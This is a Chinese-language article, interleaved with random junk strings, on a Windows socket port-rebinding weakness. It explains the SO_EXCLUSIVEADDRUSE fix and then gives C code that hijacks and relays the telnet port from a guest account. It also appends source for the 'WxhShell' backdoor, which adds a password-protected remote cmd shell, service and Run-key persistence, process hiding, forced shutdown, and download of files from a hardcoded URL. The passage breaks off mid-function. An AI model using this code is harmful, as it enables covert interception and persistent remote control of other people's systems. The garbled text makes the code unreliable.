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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: USg"wJY s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3BFOZV+ uo9#(6 saddr.sin_family = AF_INET; h0{X$&: dSM\:/t saddr.sin_addr.s_addr = htonl(INADDR_ANY); F.9}jd{ Un?|RF bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @@65t'3S +7_qg
i7: 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 broLC5hbQU ){^J8]b7# 这意味着什么?意味着可以进行如下的攻击: cD!,ZL 8=8hbdy; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 lx)^wAO4 @X==[gQ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q+ax]=w :U6`n 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 e4z`:%vy Z)?$ZI@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 <kh.fu@.Q -F 5BJk 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 honh'j X1j8tg 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 iT]t`7R P}R:o 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -ng1RA> o! a,r3 #include ?CpVA #include E C#0-,z #include ;%e&6 #include T{{:p\<]_ DWORD WINAPI ClientThread(LPVOID lpParam); I/E 9: int main() f ,F X# _4 { o) )` "^ WORD wVersionRequested; c6h?b[] DWORD ret; inut'@=G/ WSADATA wsaData; 5'2kP{; BOOL val; KC/O
EJ` SOCKADDR_IN saddr; 9YzV48su# SOCKADDR_IN scaddr; #;[G>-tC int err; H 4<"+7 SOCKET s; @N*|w
Kc+ SOCKET sc; TnrBHaxbo4 int caddsize; JEUU~L; HANDLE mt; A5<t> 6Y DWORD tid; 57\ 0MQO wVersionRequested = MAKEWORD( 2, 2 ); c=!>m err = WSAStartup( wVersionRequested, &wsaData ); X8C7d6ca if ( err != 0 ) { I)HO/i6>3 printf("error!WSAStartup failed!\n"); c -w #` return -1; 5pQpzn= } `fv5U% saddr.sin_family = AF_INET; i%2u>Ni^ GVY7`k"km //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ailq,c 6v`3/o saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GZ%vFje_
K saddr.sin_port = htons(23); -/f$s1 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *+M#D^qo { ;!n> printf("error!socket failed!\n"); T{dQ4
c return -1; Dqy`7?Kn } (0-Ol9[ val = TRUE; .j}]J:{% //SO_REUSEADDR选项就是可以实现端口重绑定的 ORM>|& if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) YWZ;@,W { HuhQ|~C+~ printf("error!setsockopt failed!\n"); 3j7FG%\ return -1; b8WtNVd } '|8dt "C //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; <jh4P!\&j //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 MN?aPpr> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *`>BOl+ro ;[ <(4v$ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) J1w;m/oV { /\mtCa.O ret=GetLastError(); jJ$\ WUQ. printf("error!bind failed!\n"); QiK>]xJ' return -1; qTsy'y;Z } f$I=oN listen(s,2); {
I#>6 while(1) +kSu{Tc { (_FU3ZW! caddsize = sizeof(scaddr); Be6Yh~m //接受连接请求 mU5Ox4>&9 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t. P@Ba^ if(sc!=INVALID_SOCKET) gInh+XZs { *EWWN?d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mixsJ}e if(mt==NULL) JP#S/kJ%3 { ,54z9F` printf("Thread Creat Failed!\n"); | {9<%Ok4P break; abo=v<mR } .}IW!$
dq } !XPjRd q CloseHandle(mt); W[2]$TwT } aODh5 closesocket(s); pz%s_g' WSACleanup(); 7l *
&Fh9; return 0; TgiZ
% G } 2<D| { DWORD WINAPI ClientThread(LPVOID lpParam) X^\D"fmE. { P6+ B!pY SOCKET ss = (SOCKET)lpParam; VLuHuih SOCKET sc; erH,EE^-x< unsigned char buf[4096]; )/RG-L SOCKADDR_IN saddr; 4'QX1p long num; q
G%Y & P DWORD val; x|O7}oj DWORD ret; U5Hi9fe //如果是隐藏端口应用的话,可以在此处加一些判断 ]]j^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 OBi(]l}^O saddr.sin_family = AF_INET; YR?Y:?( saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); z; GQnAG@ saddr.sin_port = htons(23); g=Z52y`N< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 25>R^2,LiE { RpJ7. printf("error!socket failed!\n"); %"WENa/t return -1; ucN'
zq } '=dQ$fs val = 100; Oeh A3$|# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7FC!^)x1 { VLXA6+ ret = GetLastError(); ddQ+EY@! return -1; g p:0 Y } lV\iYX2# if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u8-6s+
O { c
p"K ?) ret = GetLastError(); gUklP(T=u return -1; $Q*R/MY } ,rMf;/[ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) sVHF\{< { P< OH{l printf("error!socket connect failed!\n"); ,,Qg"C closesocket(sc); s= %3`3Fo closesocket(ss); #^}H)>jWy return -1; 'z|Da &d P } UoxlEec while(1) nxZz{& { Z^kE]Ir#EV //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A8-[EBkK //如果是嗅探内容的话,可以再此处进行内容分析和记录 6KddHyFz //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ci`o;KVj num = recv(ss,buf,4096,0); DNGyEC
if(num>0) n0KpKH<& send(sc,buf,num,0); ,L& yKS@ else if(num==0) KA2>[x2 break; eoiz]L num = recv(sc,buf,4096,0); 5,Fq:j)MxW if(num>0) Skr(C5T send(ss,buf,num,0); (L(7)WbH else if(num==0) OxHcoNrz break; -06G.;W\^ } Bsa;, closesocket(ss); TiD#t+g closesocket(sc); ~4fE`-O return 0 ; [Hh*lKg } 6 byeO&d bdL= ?KS 7yE\, ========================================================== [*
<x) VeQGdyhY 下边附上一个代码,,WXhSHELL \5a.JfF Mt.Cj;h@^[ ========================================================== /43l}6I wV )\M]@ #include "stdafx.h" Ph^1Ko"2 ,
>7PG2
a #include <stdio.h> L3b0e_8>R #include <string.h> (OiV IH #include <windows.h> }u8(7 #include <winsock2.h> uWJJ\ #include <winsvc.h> u8c@q'_ #include <urlmon.h> Sr
\y1nt #B\s'j[A" #pragma comment (lib, "Ws2_32.lib") 2"D4q (@ #pragma comment (lib, "urlmon.lib") k
A3K ]Thke 4 #define MAX_USER 100 // 最大客户端连接数 t4oD> =,92 #define BUF_SOCK 200 // sock buffer <tvLKx #define KEY_BUFF 255 // 输入 buffer (.UU40:t r D@*xMW #define REBOOT 0 // 重启 a3 }V/MY #define SHUTDOWN 1 // 关机 gvI!Ice# 0OO[@Ht #define DEF_PORT 5000 // 监听端口 "qgwuWbM :i&]J$^; #define REG_LEN 16 // 注册表键长度 ,7d/KJ^7 #define SVC_LEN 80 // NT服务名长度 -riX=K>$ -))S // 从dll定义API e@P(+.Ke typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~cc }yDe typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lTC0kh typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ao)';[%9s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Gwk$<6E /ZyMD(_J // wxhshell配置信息
,IB\1# struct WSCFG { DQGrXMpV0 int ws_port; // 监听端口 sJL Oz> char ws_passstr[REG_LEN]; // 口令 u\ _yjv# int ws_autoins; // 安装标记, 1=yes 0=no Erw1y,mF char ws_regname[REG_LEN]; // 注册表键名 &dtst?? char ws_svcname[REG_LEN]; // 服务名 )#i@DHt= char ws_svcdisp[SVC_LEN]; // 服务显示名 \Y!#Y#c char ws_svcdesc[SVC_LEN]; // 服务描述信息 cF
5|Pf char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xf&[QG+Ef int ws_downexe; // 下载执行标记, 1=yes 0=no 1["i,8zB char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" w=#'8ZuU char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \-yI
dKj ].s;Yxz }; >B6*`3v lk>\6o: // default Wxhshell configuration ]EKg)E struct WSCFG wscfg={DEF_PORT, Z"VP<- "xuhuanlingzhe", U~D~C~\2; 1, lqfTF "Wxhshell", U)G.Bst "Wxhshell", e*Wk;D& "WxhShell Service", b-
- tl@H "Wrsky Windows CmdShell Service", V;ea Q "Please Input Your Password: ", Il
[~ 1, *;@wPT " http://www.wrsky.com/wxhshell.exe", 1 !_p
"Wxhshell.exe" _^W;J/He }; ;qaPK2a8 :(]fC~G~ // 消息定义模块 P!]uJ8bi char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,]EhDW6 char *msg_ws_prompt="\n\r? for help\n\r#>"; F` 7v char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; g
`s|]VNt char *msg_ws_ext="\n\rExit."; 0!,uo\` char *msg_ws_end="\n\rQuit."; =.z;:0]'n char *msg_ws_boot="\n\rReboot..."; KRL.TLgq) char *msg_ws_poff="\n\rShutdown..."; j{lurb)y char *msg_ws_down="\n\rSave to "; Z5Lmg fHd[8{;P: char *msg_ws_err="\n\rErr!"; %rrA]\C' char *msg_ws_ok="\n\rOK!"; HF0G=U}i l Xa/5QKC char ExeFile[MAX_PATH]; wF`Y
,@ int nUser = 0; |RL#BKC` HANDLE handles[MAX_USER]; t.8r~2(? int OsIsNt; \96\!7$@O QdgJNT<=H, SERVICE_STATUS serviceStatus; ;mEn@@{ SERVICE_STATUS_HANDLE hServiceStatusHandle; 4|K\pCw UF7h{V}) // 函数声明 ]L~NYe9 int Install(void); {_N9<i{T int Uninstall(void); >OaD7 int DownloadFile(char *sURL, SOCKET wsh); d@ K-ZMq int Boot(int flag); Y'iI_cg void HideProc(void); }@q/.Ct! x int GetOsVer(void); WGz)-IB!PE int Wxhshell(SOCKET wsl); k&ooV4#f6 void TalkWithClient(void *cs); ]qqgEZ1!Y int CmdShell(SOCKET sock); rnZ$Qk-H int StartFromService(void); "`ftcJUd int StartWxhshell(LPSTR lpCmdLine); lQ?jdi 8;?4rrS VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e ymv/ VOID WINAPI NTServiceHandler( DWORD fdwControl ); p
XXf5adl< zx%WV@O9 // 数据结构和表定义 V<UChD)N` SERVICE_TABLE_ENTRY DispatchTable[] = J'Pyn { \'Ae,q|w {wscfg.ws_svcname, NTServiceMain}, |^l_F1+w {NULL, NULL} -
]wT }; p?f\/ bVzi^R" // 自我安装 dCi:@+z8 int Install(void) 0o+Yjg>\~8 { 'TS_Am?o char svExeFile[MAX_PATH]; iv >MIdIm HKEY key; 3A`Gx# strcpy(svExeFile,ExeFile); e%[*NX/ $Wj= V // 如果是win9x系统,修改注册表设为自启动 }T4|Kyu? if(!OsIsNt) { /:F^*] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %]Z4b;W[Y RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '{AB{)1 RegCloseKey(key); y2I7Zd . if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w*6b%h%ww RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 74M 9z RegCloseKey(key); .f_
A% return 0; \<pr28
} ?zBu`7j } ULAr! } jn5xYKv else { B`mJT*B[ 5(H%Ia // 如果是NT以上系统,安装为系统服务 j"nOxs SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W+&5G(z~ if (schSCManager!=0) bvtpqI QZ { &MSU<S?1 SC_HANDLE schService = CreateService lBbb7*Ljt< (
}>hn schSCManager, ]$ "eGHX wscfg.ws_svcname, 8NHm#Z3Ol wscfg.ws_svcdisp, 6|NH*#s SERVICE_ALL_ACCESS, ?z1v_Jh SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {K.H09Y SERVICE_AUTO_START, yus3GqPI SERVICE_ERROR_NORMAL, | @AXW svExeFile, X6cn8ak3 NULL, _4N.]jr5 NULL, mU-2s%X<.^ NULL, 6=;:[ NULL, dQ8RrD=$& NULL U:TkO=/>: ); {T-\BTh&Q if (schService!=0) Qx4)'n { :gV~L3YW5 CloseServiceHandle(schService); `r}_92Tt CloseServiceHandle(schSCManager); fc+-/!v strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); itzUq,T strcat(svExeFile,wscfg.ws_svcname); FC1rwXL( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }i!+d,|f RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .rK0C) RegCloseKey(key); geR
:FO;\ return 0; <gwRE{6U } Q|)>9m!tt } M>i(p% CloseServiceHandle(schSCManager); tQ9%rb } ipn-HUrE@ } DDr\Kv)k( sYS
8]JU return 1; 6RbDc* } Qbv@}[f
=c@hE'{ // 自我卸载 4fKvB@O@. int Uninstall(void) 9;L 4\ { 3wv@wqx HKEY key; rL-R-;Ca w<H Xe if(!OsIsNt) { qO"QSSbZqQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G^ GIHdo RegDeleteValue(key,wscfg.ws_regname); ATkd# k%S RegCloseKey(key); nG'Yo8I^5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gt&yz"?D RegDeleteValue(key,wscfg.ws_regname); %"f85VfZ RegCloseKey(key); 9Q1%+zjjMq return 0; i?/Q7D<P } ^^v3iCT } J,Ki2'= } zdwQpB,+^ else { @m5J%8>k WVeNO,?ytS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Yd3lL:M if (schSCManager!=0) iTinZ!Ut { )3CM9P'0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5&8BO1V. if (schService!=0) STwGp<8 { &MpLm& if(DeleteService(schService)!=0) { 6vK`J"d{~D CloseServiceHandle(schService); =CFjG)L CloseServiceHandle(schSCManager); OH>.N"IG return 0; Z@euO~e~ } 'b.jKkW7 CloseServiceHandle(schService); ]ePg6 } wK2$hsque CloseServiceHandle(schSCManager); QT+kCN } g}hUCx( } 1#x5
o2n %O9 Wm_% return 1; ~S('\h)1 } \Hp!NbnF$ _9=87u0 // 从指定url下载文件 `e ZDG int DownloadFile(char *sURL, SOCKET wsh) ~a_hOKU5 { 1T#-1n%[k( HRESULT hr; DPf].i# char seps[]= "/"; cI[i v char *token; .h
<=C&Yg char *file; fcdXj_u char myURL[MAX_PATH]; G
T~rr*X char myFILE[MAX_PATH]; }`L;.9 = -oP,$k strcpy(myURL,sURL); yr},pB token=strtok(myURL,seps); p^Ey6,!8]D while(token!=NULL) m u9,vH { @2"uJ6o file=token; Ct `)R token=strtok(NULL,seps); O h
e^{: } (.$$U3\ {qHQ_ _Bl GetCurrentDirectory(MAX_PATH,myFILE); YQD`4ND strcat(myFILE, "\\"); X}'rPz\Lu strcat(myFILE, file); `pfgx^qG send(wsh,myFILE,strlen(myFILE),0); _kBmKE send(wsh,"...",3,0); n}Z%-w$K# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P\dfxR;8% if(hr==S_OK) BW;@Gq@N return 0; #!_4ZX else ulALGzPh return 1; JPTLh{/ J <z
^C } U>kaQ54/ A@~9r9Uf // 系统电源模块 jk`U7G* int Boot(int flag) IsT}T}p,t { Uhvy2}w HANDLE hToken; YN)qMI_`A TOKEN_PRIVILEGES tkp; >0SG]er@ |34k;l]E if(OsIsNt) { )Jvo%Y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IgJG,!>h LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |d&Kr0QIV tkp.PrivilegeCount = 1; c*#$sZ@YA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d0T 8Cwcb AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); . ?#Q(eLj if(flag==REBOOT) { \0lQ1FrY if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L__{U_p return 0; -5e8m4* } L2Cb/!z`c else { 0>m$e(Z if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) al Rz@N return 0; 5n>zJ
~ } WMKxGZg" } W/RB|TMT else { GF@`~im if(flag==REBOOT) { ug}u>vQ> if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) :{eYm|2- return 0; sz%]rN6$ } 4NRj>y else { E
@r &K if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Lwtp,.)pR return 0; 0xi2VN"X } `!X8Cn
} ~rrl"a> ]hlQU%& return 1; xTG5VBv } r+Sv(KS4i^ Xr o5~G // win9x进程隐藏模块 Rex86!TO void HideProc(void) pbh>RS=ri { DQObHB8L
= <A0; HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~Q^.7.-T if ( hKernel != NULL ) hH$9GL{H { ~d<&OL pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tHqa% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Jl\U~i FreeLibrary(hKernel); \1?'JdN } `+."X1 Q-iBK*-w return; I<W<;A } k N* I_# tw 3zw`o: // 获取操作系统版本 owa&HW/_ int GetOsVer(void) sOz
{spA { H9;IA> OSVERSIONINFO winfo; ^[I>#U winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yz>S($u GetVersionEx(&winfo); 1.,KN:qe if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t\:=|t, return 1; <2O#!bX1 else y'6l fThT return 0; |d\1xTBLp } 6[FXgCb <D& Ep // 客户端句柄模块 V~8]ag4 int Wxhshell(SOCKET wsl) lRS'M,/ { %IIFLlD SOCKET wsh; iig4JP'h struct sockaddr_in client; x*j
eCD, DWORD myID; c8zok `\P_ ifWQwS/,a while(nUser<MAX_USER) -j Nnx* { 1uyd+*/(xP int nSize=sizeof(client); _b)Ie`a.H wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hBz>E 4mEv if(wsh==INVALID_SOCKET) return 1; .i;?8? ^!O!HMX0 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); a&kt!%p: if(handles[nUser]==0) B$OV^iwxK closesocket(wsh); 6 %` h2Z else $Ups9p Q nUser++; i6FJG\d } /Aw@26 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =yRv*C U0W2 return 0; S6JWsi4C:, } ]:n9MFv );S8`V // 关闭 socket ',D%,N}J void CloseIt(SOCKET wsh) h*hkl# { h`v T[u~l closesocket(wsh); (bpxj3@R nUser--; M)JozD% ExitThread(0); Ag{)?5/d_ } 0XC3O 8q ,1t|QvO // 客户端请求句柄 sA+K?_ void TalkWithClient(void *cs) +~1FKLu { A58P$#)? `Um-Y'KE SOCKET wsh=(SOCKET)cs; 9[&q
C char pwd[SVC_LEN]; 6\UIp#X char cmd[KEY_BUFF]; t8lGC R char chr[1]; ,l,q;]C% int i,j; I4<_y5 ZBH^0 while (nUser < MAX_USER) { x*X{*?5@ 8X? EB6=c if(wscfg.ws_passstr) { @d0~'_vtB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oOLj?
0t //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [T3%Xt'4 //ZeroMemory(pwd,KEY_BUFF); t3v_o4`& i=0; s`yg?CR`, while(i<SVC_LEN) { N]ebKe WXf[W // 设置超时 LF{8hC[ fd_set FdRead; E
KJ2P$ struct timeval TimeOut; hoiC
J}us FD_ZERO(&FdRead); Hkf]=kPy* FD_SET(wsh,&FdRead); zlkW-rRkR TimeOut.tv_sec=8; R%9,.g< TimeOut.tv_usec=0; F[B=sI int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p9MJa[}V if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '!MKZKer s gZlk9x!Q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3<1x>e2nT pwd =chr[0]; qjg Z if(chr[0]==0xd || chr[0]==0xa) { so Lmr's pwd=0; VHLNJnA break; Hh&qjf } _$ 8:\[J i++; z63y8 } ra@CouR^c{ B oiS // 如果是非法用户,关闭 socket u{sb^cmy if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8RVRfy,w } #B!M,TWf9s 5CfD/}{:#I send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U{@2kg- send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (*T$:/zIS 2P=~6( while(1) { L{XW2c$h [{>1wJ Pdj ZeroMemory(cmd,KEY_BUFF); u3Zu ~C X<v1ES$ // 自动支持客户端 telnet标准 _1YC9} j=0; =?\%E[j while(j<KEY_BUFF) { `Hu2a]e9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :/"5x cmd[j]=chr[0]; iMV=R2t 2 if(chr[0]==0xa || chr[0]==0xd) { ZC^NhgX cmd[j]=0; PH^Gjm break; (bB"6
#TI } e)XnS ' j++; 3m & } }{&;\^i CHCT
e // 下载文件 [;~"ctf{ if(strstr(cmd,"http://")) { nuA
0%K send(wsh,msg_ws_down,strlen(msg_ws_down),0); F]0
qt$GO if(DownloadFile(cmd,wsh)) eq<!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Ep&O# else E},zB*5TH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]9W7]$ } 5e?<x>e else { $e uI /wP2Wnq$ switch(cmd[0]) { Qf'g2
\ Nz;\PS // 帮助 z"Cyjmg" case '?': { O{U j send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `'pAiu break; a#9pN?~ } p|BoEITL // 安装 %E [HMq<H case 'i': { U: )Gc if(Install()) k7cY^&o send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^oW{N else zW)Wt.svP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RU>qj
*e break; @Q;s[Kg{! } mwI7[I2q // 卸载 uaky2SgN case 'r': { dB:c2 if(Uninstall()) MhB>bnWXR send(wsh,msg_ws_err,strlen(msg_ws_err),0); #k)t.P
Q else k;qWiYMV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3 4&xh1=3 break; 1Lp; LY"_ } ?a1pO#{Dg // 显示 wxhshell 所在路径 9^nRwo
case 'p': { (qz)3Fa char svExeFile[MAX_PATH]; 7QoMroR strcpy(svExeFile,"\n\r"); \F""G,AWq{ strcat(svExeFile,ExeFile); U;!J(Us send(wsh,svExeFile,strlen(svExeFile),0); R-wz+j# break; OEC/'QOae } !?+q7U // 重启 IcGX~zWr case 'b': { E\p"% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =+q\Jh if(Boot(REBOOT)) j5]ul!ji send(wsh,msg_ws_err,strlen(msg_ws_err),0); G!h75G20 else { l/\D0\x2 closesocket(wsh); AD@ {7 ExitThread(0); Z aS29} } KCH`=lX break; f/iMI)J } tE-g]y3 // 关机 1xh7KBr, case 'd': { t%<y^Wa= send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >[~7fxjK- if(Boot(SHUTDOWN)) t`>Z#=cl\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); yO* else { 5OX[)Li closesocket(wsh); Ps[#z@5{x ExitThread(0); %&q}5Y4! } nb6Y/`G break; KeXt"U } n1:q:qMR1 // 获取shell tCar:p4$ case 's': { #3'M>SaoH CmdShell(wsh); kQQDaZ8 closesocket(wsh); *v?kp>O ExitThread(0); 0'YJczDq:7 break; mm.%Dcn } 7?y7fwER // 退出 ~-B+7 case 'x': { 1MT,A_L send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f*9O39&| CloseIt(wsh); 7q5*grm break; =2ED
w_5E } ts=:r // 离开 $em'H,*b3 case 'q': { n\f]?B( send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9\/oL{ closesocket(wsh); \k{[HfVvn WSACleanup(); %O<8H7e)V exit(1); PL3hrI 5 break; Kpa$1x } M]/DKo } a ~W } U%[ye0@: lBAu@M
// 提示信息 m]vV.pwv if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fFWi
3. } het<#3Bo } N-Z=p)] _{gqi$Mi return; 2gMG7%d } GNq
f 4l68+ // shell模块句柄 M}f(-,9 int CmdShell(SOCKET sock) CjP<'0gT { r@bh,U$ STARTUPINFO si; T#*H ZeroMemory(&si,sizeof(si)); 22U`1AD3U si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ASre@pW si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5,g +OY=\ PROCESS_INFORMATION ProcessInfo; v\@RwtP char cmdline[]="cmd"; PLMC<4$s CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ki7t?4YE return 0; ,sL%Ykr } ws^Ne30 R 7]ysvSM // 自身启动模式 KB(W'M_D\ int StartFromService(void) :Jv5Flxl { />/e typedef struct nJ
xO.wWE { ]dI^
S DWORD ExitStatus; Y0A(-" DWORD PebBaseAddress; Y?3tf0t/ DWORD AffinityMask; hpPacN DWORD BasePriority; y$SUYG'v ULONG UniqueProcessId; |5O>7~Tp ULONG InheritedFromUniqueProcessId; $~W5! m } PROCESS_BASIC_INFORMATION; &} `a"tYr =!xX{o?64 PROCNTQSIP NtQueryInformationProcess; q CYu@Ho " QiR static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PPIO<K 3` static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $?bD55 L\E>5G; HANDLE hProcess; &tvp)B?cWk PROCESS_BASIC_INFORMATION pbi; l&'q+F EwA* HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4gsQ:3 if(NULL == hInst ) return 0; 7bihP@I! ZDgT"53 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^-[
I;P g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =CZRX'
